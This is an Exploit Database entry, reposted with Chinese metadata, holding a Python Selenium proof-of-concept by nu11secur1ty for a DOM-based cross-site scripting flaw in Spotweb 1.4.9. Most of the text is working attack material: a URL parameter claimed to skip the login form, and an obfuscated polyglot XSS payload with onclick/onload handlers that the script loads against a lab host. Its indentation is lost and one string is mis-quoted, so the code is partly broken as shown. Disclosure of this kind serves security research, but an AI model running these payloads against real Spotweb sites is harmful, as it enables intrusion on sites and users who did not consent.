Spotweb 1.4.9 – DOM Based Cross-Site Scripting (XSS)

• Exploit Database
• 14 阅读

• 作者： nu11secur1ty
  日期： 2021-05-21
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49891/

• # Exploit Title: Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS) 
  # Exploit Author: @nu11secur1ty
  # Date: 05.20.2021
  # Software Link: https://github.com/spotweb/spotweb
  # Proof: https://streamable.com/hix5o1
  
  [+] Exploit Source:
  #!/usr/bin/python3
  # Author: @nu11secur1ty
  
  from selenium import webdriver
  import time
  import os, sys
  
  
  # Vendor: https://www.nzbserver.com/
  # Jump over login form :D
  website_link="http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true"
  
  # enter your login username
  username="nu11secur1ty"
  
  # enter your login password
  password="password"
  
  #enter the element for username input field
  element_for_username="loginform[username]"
  
  #enter the element for password input field
  element_for_password="loginform[password]"
  
  #enter the element for submit button
  element_for_submit="loginform[submitlogin]"
  
  
  #browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver]
  browser = webdriver.Chrome() #uncomment this line,for chrome users
  #browser = webdriver.Firefox() #uncomment this line,for chrome users
  
  time.sleep(3)
  browser.get((website_link))
  
  try:
  username_element = browser.find_element_by_name(element_for_username)
  username_element.send_keys(username)
  password_element= browser.find_element_by_name(element_for_password)
  password_element.send_keys(password)
  signInButton = browser.find_element_by_name(element_for_submit)
  signInButton.click()
  
  # Exploit Cross Site Scripting (DOM Based)
  # Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
  
  time.sleep(1)
  # Payload link "esc-rule"
  browser.get(("http://192.168.1.160/spotweb-develop#jaVasCript:/*-/*`/*\`/*'/*"'/**/(/**/oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'""))
  
  print("The payload is deployed DOM is BOMing you ':))'...\n")
  os.system('pause')
  
  browser.close()
  
  except Exception:
  #### This exception occurs if the element are not found in the webpage.
  print("DOM...")